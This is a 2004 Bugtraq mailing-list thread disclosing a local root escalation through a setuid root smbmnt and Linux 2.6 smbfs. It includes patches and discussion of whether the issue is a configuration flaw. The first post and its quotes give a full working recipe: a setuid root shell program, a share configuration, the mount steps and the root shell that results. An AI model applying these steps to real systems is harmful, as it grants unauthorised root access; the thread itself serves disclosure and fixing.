Onderwerp: Samba 3.x + kernel 2.6.x local root vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

"share" - smb server
"slovakia" - smb client

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1 034(mtr),1035(333)
root@slovakia:~#

Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Quick patch for 2.6.3-rc1 kernel by Urban Widmark:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c Mon Feb 9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c Mon Feb 9 21:43:08 2004
@@ -546,7 +546,8 @@

#define MAX_FILE_MODE 6
static mode_t file_mode[] = {
- - S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+ S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+ S_IFIFO, S_IFSOCK
};

static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
if (mode & S_IFLNK)
return UNIX_TYPE_SYMLINK;
if (mode & S_IFCHR)
- - return UNIX_TYPE_CHARDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
if (mode & S_IFBLK)
- - return UNIX_TYPE_BLKDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
if (mode & S_IFIFO)
return UNIX_TYPE_FIFO;
if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
static void
smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
{
+ fattr->f_mode &= ~(S_ISGID | S_ISUID);
if (fattr->f_unix)
return;


Bug discovered by Martin Fiala <digri@dik.cvut.cz>

Michal
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAJ/o3I4dMYFEaiukRAmL6AJ9oqO77yINR2vI7N4LWGEhIfliaZQCf Ryb+
o5iBUpdH5KjNZnQdohDusgk=
=XA7E
-----END PGP SIGNATURE-----

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 9 2004, M.Medvecky@sh.cvut.cz wrote:

> share:/data/share# ls -l a
> - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a
>
> misko@slovakia:~$ ls -l pokus/a
> - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
> misko@slovakia:~$ pokus/a
> root@slovakia:~# id
> uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1 034(mtr),1035(333)
> root@slovakia:~#
>
> Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

How is this affected by setting the nosuid and/or nodev options on the smbfs
file systems in /etc/fstab? Unless it is still exploitable, this would seem
like the expected, albeit perhaps not always desirable, behavior to me at
least. If it is still exploitable with those options set, it's a bug that
should be corrected in the smbfs code, as it then doesn't clear security-
related bits when instructed to do so.

A more appropriate fix than always clearing the s[ug]id and device bits on
SMB file systems might be to make any network file systems nosuid,nodev by
default, forcing the administrator to manually override this on any network
file systems where such functionality for some reason is required. There
would certainly be fewer side effects that cannot be worked around if needed.

I don't have any Samba servers on my network so I cannot really try this.

Also, I do not think that I would characterize this as a "local root
vulnerability", but rather improper use of the s[ug]id bits on network file
systems. You still need to convince root on the host sharing the file to make
a binary setuid root, and on the host you are mounting the attack from to
allow setuid binaries to be executed indiscriminately from a networked file
system. Either one may be feasible, but both?

- --
Michael Kjörling - michael@kjorling.com - SM0YBY QTH JO89XI ^..^
OpenPGP: 3723 9372 c245 d6a8 18a6 36ac 758f 8749 bde9 ada6 \/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAKAimdY+HSb3praYRAs0XAJ4paRauhUv9ZxfBGvIzmT d58lehNACfcinr
Np/I7ZBWNsHzFOfa6CzilTk=
=MT0N
-----END PGP SIGNATURE-----

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



On Mon, 9 Feb 2004, Seth Arnold wrote:
> On Mon, Feb 09, 2004 at 10:23:03PM +0100, Michal Medvecky wrote:
> > Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.
>
> I haven't got a clue what you're trying to accomplish. If you don't want
> a setuid execute, DON'T RUN chmod +s! You don't even need samba to
> accomplish this:

Note that two machines are involved here, the server (sharing the setuid
binary), and the client (the victim, which mounts the share and runs the
binary; the attacker must have a local account here).

The problem stems from the setuid root smbmnt. When you install Samba
from source, /usr/bin/smbmnt is not setuid root by default, but several
Linux distributions seem to ship it this way (Slackware does not). With
smbmnt setuid root, any user with a local account can gain root if they
can set up a Samba server that can be mounted from the victim machine.

At the least, if you're going to run smbmnt setuid root, you should make
an smbmnt group and only allow group members to execute it. The members
of the group could still exploit this hole, but not other users.

Pat
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAKBK+akRjwEAQIjMRAhl3AJ9xL0tWhZuP7poPVhY1tQ 4SmKTi4ACfetQm
g8ktzk0I4h4q2AyJs67sESY=
=49Nk
-----END PGP SIGNATURE-----

--VkVuOCYP9O7H3CXI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Feb 09, 2004 at 10:23:03PM +0100, Michal Medvecky wrote:
> Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

I haven't got a clue what you're trying to accomplish. If you don't want
a setuid execute, DON'T RUN chmod +s! You don't even need samba to
accomplish this:

$ cat > a.c <<EOF
> main()
> {
> setuid(0);
> setgid(0);
> system("/bin/bash");
> }
> EOF
$ make a
cc a.c -o a
$ sudo chown roroot a
Password:
$ sudo chmod +s a
$ ./a
$ id
uid=3D0(root) gid=3D0(root) groups=3D500(sarnold)
$ exit

I expect this behaviour out of every Linux, BSD, commercial Unix,
Windows NT with POSIX emulation, QNX, etc. (For the curious, this was
run on Linux 2.4.21-9.EL_imnx_2smp.)

Can you please explain what specifically bothers you?

Thanks

--=20
Immunix Secured Linux Distribution: http://immunix.org/

--VkVuOCYP9O7H3CXI
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAKAPC+9nuM9mwoJkRAuXgAJ95xtmQfIUgO6o2gq8LWO oAbDc4ZQCgq6i8
C5rD/r4MdHNDsqrA7PN2WrM=
=vD12
-----END PGP SIGNATURE-----

--VkVuOCYP9O7H3CXI--

--=-KjCLPLQPh9F05pMBiwZ6
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: quoted-printable

> You all still don't understand the problem.
>=20
> I have setuid smbmnt on the client side and one remote with smb share, I =
own.
>=20
> I create setuid binary on the share, and MOUNT THE SHARE under regular us=
er
> with uid!=3D0. Then run that binary and gain root privileges.
>=20
> Is it clear? This is not the issue with the remote server. It's just the
> 'tool' to misuse.

Ok. I understand now (And I'm able to reproduce it).

It works only on kernel 2.6.
Doing the same in a 2.4 kernel results in the share mounted with the
correct uid,gid and masks:

smbmount //machine/share /tmp/foo -o
username=3Dtest,fmask=3D1755,dmask=3D755,uid=3D0,g id=3D0,debug=3D0,workgrou=
p=3Dtest

Even trying to set uid=3D0 and gid=3D0 and the fmask to 1755 the share is
mounted in a safe way, without setuids bins and set with the user uid.

The kernel 2.6 does not honour the uid/gid and mounts the share with the
original uids and permisions, whatever the masks is set at mounting.

--=20
_ Guillermo P=E9rez -=3D] 10/02/2004 [=3D-
<=B7) - bisho@ ( onirica.com | eurielec.etsit.upm.es )
( \>
bisho! ""\\ :: Software Patents will kill Open Source ::
..........:: EuropeSwPatentFree: ::
:: http://europeswpatentfree.hispalinux.es/ ::

--=-KjCLPLQPh9F05pMBiwZ6
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQBAKN0+ZlV1LzDULm4RAkE/AJ9ob8bGMFHVh5neMPpiso3UfFEKawCcDbKn
iJncrovg1au27we9E/7dzT4=
=maAI
-----END PGP SIGNATURE-----

--=-KjCLPLQPh9F05pMBiwZ6--

This is old news.

NFS is also affected by this CONFIGURATION PROBLEM (not a bug). What I
think might be a problem is this:

[...took_from_mount_man...]
OPTIONS
[...]
nosuid Do not allow set-user-identifier or set-group-identifier
bits to take effect. (This seems safe, but is in fact
rather unsafe if you have suidperl(1) installed.)
[...end_of_cut...]

I have never tried to use suidperl to "exploit" such thing, but my guess
is that suidperl somehow "see" the suid bit and can execute scripts set-
uid-ing the process... or maybe the man mount page was just talking
about some old suidperl bug... if someone knows, please tell me.

Best Regards,
Felipe

--
Felipe Franciosi <ozzybugt@terra.com.br>

--liOOAslEiF7prFVr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Feb 09, 2004 at 02:03:47PM -0800, Seth Arnold wrote:
> On Mon, Feb 09, 2004 at 10:23:03PM +0100, Michal Medvecky wrote:
>=20
> I haven't got a clue what you're trying to accomplish. If you don't want
> a setuid execute, DON'T RUN chmod +s! You don't even need samba to
> accomplish this:
>=20
>=20
> I expect this behaviour out of every Linux, BSD, commercial Unix,
> Windows NT with POSIX emulation, QNX, etc.=20
>=20
> Can you please explain what specifically bothers you?

I think his point is this:

Image you have a user account luser on box foo. You do not have root on
foo. However, you do have root on box bar. If you are allowed to
smbmount stuff on foo as user luser, (which is a BadThing(tm), but
default behaviour on some systems as it seems), and you smbmount a share
on bar, and use that suid shell, you actually have root control on foo!



Kind Regards,
Frank Louwers

--=20
Openminds bvba www.openminds.be
Tweebruggenstraat 16 - 9000 Gent - Belgium

--liOOAslEiF7prFVr
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFAKItlPTTV5eWScS8RAvFDAKCVwYox2qfNY9H5Qly8/CR5P7M2ngCeJVO0
yWXtUB5XyrUyojNZ5A3Lb+4=
=04e8
-----END PGP SIGNATURE-----

--liOOAslEiF7prFVr--

> -----Original Message-----
> From: Michal Medvecky [mailto:M.Medvecky@sh.cvut.cz]
> Sent: 09 February 2004 21:23
> To: bugtraq@securityfocus.com
> Subject: Samba 3.x + kernel 2.6.x local root vulnerability
>
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> "share" - smb server
> "slovakia" - smb client
>
>
>
> misko@slovakia:~$ smbmount --version
> Usage: mount.smbfs service mountpoint [-n] [-o options,...]
> Version 3.0.1-Debian
>
>
>
> misko@slovakia:~$ ls -l /usr/bin/smbmount
> - - -rwxr-xr-x 1 root root 591756 2004-01-13
> 20:29 /usr/bin/smbmount
> misko@slovakia:~$ ls -l /usr/bin/smbmnt
> - - -rwsr-sr-x 1 root root 8088 2004-01-13
> 20:29 /usr/bin/smbmnt
> ^
>
>
>
> Confirmed to be default on Debian and Mandrake.
>
> share:/data/share# cat a.c
> main()
> {
> setuid(0);
> setgid(0);
> system("/bin/bash");
> }
>
>
>
> share:/data/share# make a
> cc a.c -o a
> share:/data/share# chmod +s a
> share:/data/share#
>
>
>
> share:/etc/samba/smb.conf
>
>
>
> [share]
> path = /data/share
> writable = no
> locking = no
> public = yes
> guest ok = yes
> comment = Share
>
>
>
> share:/data/share# ls -l a
> - - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a
>
>
>
> misko@slovakia:~$ ls -l pokus/a
> - - -rwsr-sr-x 1 root root 11716 2004-02-08
> 12:39 pokus/a
> misko@slovakia:~$ pokus/a
> root@slovakia:~# id
> uid=0(root) gid=0(root)
> skupiny=1000(misko),0(root),29(audio),100(users),1 034(mtr),1035(333)
> root@slovakia:~#
>
> Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Doesn't work on kernel 2.4.20-8.9 for RedHat Linux 9, even after making
/usr/bin/smbmnt suid root (it isn't by default).

-
John Airey, BSc (Jt Hons), CNA, RHCE
Internet systems support officer, ITCSD, Royal National Institute of the
Blind,
Bakewell Road, Peterborough PE2 6XU,
Tel.: +44 (0) 1733 375299 Fax: +44 (0) 1733 370848 John.Airey@rnib.org.uk

According to the book of Acts, Eutychus was the first man to suffer from a
General Protection Fault with Windows.

-
DISCLAIMER:

NOTICE: The information contained in this email and any attachments is
confidential and may be privileged. If you are not the intended
recipient you should not use, disclose, distribute or copy any of the
content of it or of any attachment; you are requested to notify the
sender immediately of your receipt of the email and then to delete it
and any attachments from your system.

RNIB endeavours to ensure that emails and any attachments generated by
its staff are free from viruses or other contaminants. However, it
cannot accept any responsibility for any such which are transmitted.
We therefore recommend you scan all attachments.

Please note that the statements and views expressed in this email and
any attachments are those of the author and do not necessarily represent
those of RNIB.

RNIB Registered Charity Number: 226227

Website: http://www.rnib.org.uk

On Tue, 10 Feb 2004, Frank Louwers wrote:

> I think his point is this:
>
> Image you have a user account luser on box foo. You do not have root on
> foo. However, you do have root on box bar. If you are allowed to
> smbmount stuff on foo as user luser, (which is a BadThing(tm), but
> default behaviour on some systems as it seems), and you smbmount a share
> on bar, and use that suid shell, you actually have root control on foo!

Some posts in this thread have made comparisons with how things work with
nfs. Unfortunately they are not valid, or this would indeed be just a
usage error. Here is my attempt at clarifying what the problem is.

The following combinations are needed to be vulnerable:

Client: Linux smbfs in 2.6.x or
2.4.25-pre8 with unix extensions in .config or
2.4.x + cifs-UE patches
Server: samba 3.x with unix extensions enabled (default?), or any other
server that implements these extensions and supports suid flag or
device nodes (I think samba3 is the only one).

- It is not a requirement that you mount the fs as a luser. Even if root
does it there is still a vulnerability if the user can make a suid root
binary on the server.

- Without UE, smbfs fakes the uid/gid as given to it by smbmnt
and a non-root user can't change it from his own. This is why you can't
set uid/gid with 2.4.
With UE, smbfs ignores the uid/gid and instead accepts the server values
the same way nfs or any network fs with unix like id:s would.
Same goes for file modes.

- root can set nosuid,nodev in the mount command as he would with nfs, but
it does not affect the mount syscall because of what smbmnt doesn't do.

- The problem is really that smbfs, unlike nfs, isn't mounted using mount
and thus has its own rules (mostly for nothing better than historical
reasons). "mount -t smbfs ..." calls /sbin/mount.smbfs if found, which
in turn calls smbmnt that executes the mount syscall.

I understand my patch to disable the suid+device code in smbfs was posted
earlier in this thread. Linus hated it because the problem isn't really in
the kernel. The following patch will be in future samba releases, possibly
modified so that root can enable suid for mounts as he specifies.


/Urban - Linux smbfs maintainer


diff -urN -X exclude samba-3.0.2-orig/source/client/smbmnt.c samba-3.0.2/source/client/smbmnt.c
--- samba-3.0.2-orig/source/client/smbmnt.c Thu Aug 28 23:42:42 2003
+++ samba-3.0.2/source/client/smbmnt.c Tue Feb 10 22:56:58 2004
@@ -240,7 +240,7 @@
data.dir_mode |= S_IXOTH;
}

- flags = MS_MGC_VAL;
+ flags = MS_MGC_VAL | MS_NOSUID | MS_NODEV;

if (mount_ro) flags |= MS_RDONLY;

Cute, so the security problems of NFS are being reinvented with SMBFS.
I hope that traditional mount options such as "nosuid" will work ?

Also, can you create character/block device files on an smbfs partition
that you have root locally (and not remotel) to get you access to things
like /dev/kmem, etc ?

Darren